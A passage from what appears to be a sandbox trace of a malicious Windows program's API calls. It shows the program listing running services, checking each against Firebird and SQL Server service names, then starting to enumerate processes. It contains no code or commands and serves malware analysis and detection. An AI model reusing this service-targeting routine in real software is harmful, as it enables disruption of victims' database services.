CloseHandle (hObject=0x3a0) returned 1 [0276.421] Sleep (dwMilliseconds=0x1f4) [0276.938] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45bb2b8 [0276.938] EnumServicesStatusExW (in: hSCManager=0x45bb2b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0276.938] GetLastError () returned 0xea [0276.939] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7c87b0 [0276.939] EnumServicesStatusExW (in: hSCManager=0x45bb2b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7c87b0, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7c87b0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0276.939] CloseServiceHandle (hSCObject=0x45bb2b8) returned 1 [0276.939] lstrlenW (lpString="AppXSvc") returned 7 [0276.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.940] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.940] lstrlenW (lpString="Audiosrv") returned 8 [0276.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.940] lstrlenW (lpString="BFE") returned 3 [0276.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.940] lstrlenW (lpString="BITS") returned 4 [0276.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0276.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0276.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0276.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0276.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0276.940] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.941] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.941] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.941] lstrlenW (lpString="CDPSvc") returned 6 [0276.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.941] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.941] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.941] lstrlenW (lpString="CryptSvc") returned 8 [0276.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.941] lstrlenW (lpString="DcomLaunch") returned 10 [0276.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.942] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.942] lstrlenW (lpString="Dhcp") returned 4 [0276.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.942] lstrlenW (lpString="Dnscache") returned 8 [0276.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.942] lstrlenW (lpString="DPS") returned 3 [0276.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.942] lstrlenW (lpString="DusmSvc") returned 7 [0276.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.943] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.943] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.943] lstrlenW (lpString="EventLog") returned 8 [0276.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.943] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.943] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.943] lstrlenW (lpString="EventSystem") returned 11 [0276.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.943] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.943] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.943] lstrlenW (lpString="FontCache") returned 9 [0276.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.943] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.943] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.943] lstrlenW (lpString="gpsvc") returned 5 [0276.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.943] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.943] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.943] lstrlenW (lpString="iphlpsvc") returned 8 [0276.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.944] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.944] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.944] lstrlenW (lpString="KeyIso") returned 6 [0276.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.944] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.944] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.944] lstrlenW (lpString="LanmanServer") returned 12 [0276.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.944] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.944] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.944] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.945] lstrlenW (lpString="lfsvc") returned 5 [0276.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.945] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.945] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.945] lstrlenW (lpString="lmhosts") returned 7 [0276.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0276.945] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.945] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.945] lstrlenW (lpString="LSM") returned 3 [0276.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.945] lstrlenW (lpString="MpsSvc") returned 6 [0276.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.945] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.945] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.945] lstrlenW (lpString="NcbService") returned 10 [0276.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.946] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.946] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.946] lstrlenW (lpString="netprofm") returned 8 [0276.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.946] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.946] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.946] lstrlenW (lpString="NgcSvc") returned 6 [0276.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.946] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.946] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.946] lstrlenW (lpString="NlaSvc") returned 6 [0276.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.946] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.946] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.946] lstrlenW (lpString="nsi") returned 3 [0276.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.946] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.947] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.947] lstrlenW (lpString="PcaSvc") returned 6 [0276.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.947] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.947] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.947] lstrlenW (lpString="PlugPlay") returned 8 [0276.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.947] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.947] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.947] lstrlenW (lpString="Power") returned 5 [0276.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.947] lstrlenW (lpString="ProfSvc") returned 7 [0276.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.947] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.947] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.948] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.948] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.948] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.948] lstrlenW (lpString="RpcSs") returned 5 [0276.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.948] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.948] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.948] lstrlenW (lpString="SamSs") returned 5 [0276.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.948] lstrlenW (lpString="Schedule") returned 8 [0276.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.952] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.952] lstrlenW (lpString="SENS") returned 4 [0276.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.952] lstrlenW (lpString="ShellHWDetection") returned 16 [0277.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0277.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0277.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0277.037] lstrlenW (lpString="Spooler") returned 7 [0277.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0277.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0277.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0277.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0277.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0277.037] lstrlenW (lpString="SSDPSRV") returned 7 [0277.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0277.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0277.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0277.037] lstrlenW (lpString="StateRepository") returned 15 [0277.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0277.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0277.103] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0277.103] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0277.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0277.103] lstrlenW (lpString="SysMain") returned 7 [0277.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0277.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0277.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0277.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0277.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0277.103] lstrlenW (lpString="SystemEventsBroker") returned 18 [0277.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0277.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0277.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0277.103] lstrlenW (lpString="Themes") returned 6 [0277.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0277.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0277.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0277.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0277.103] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7c87b0 | out: hHeap=0x6e0000) returned 1 [0277.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x420 [0277.107] Process32FirstW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.107] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.108] lstrlenW (lpString="System") returned 6 [0277.108] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.109] lstrlenW (lpString="smss.exe") returned 8 [0277.109] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.109] lstrlenW (lpString="csrss.exe") returned 9 [0277.109] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: 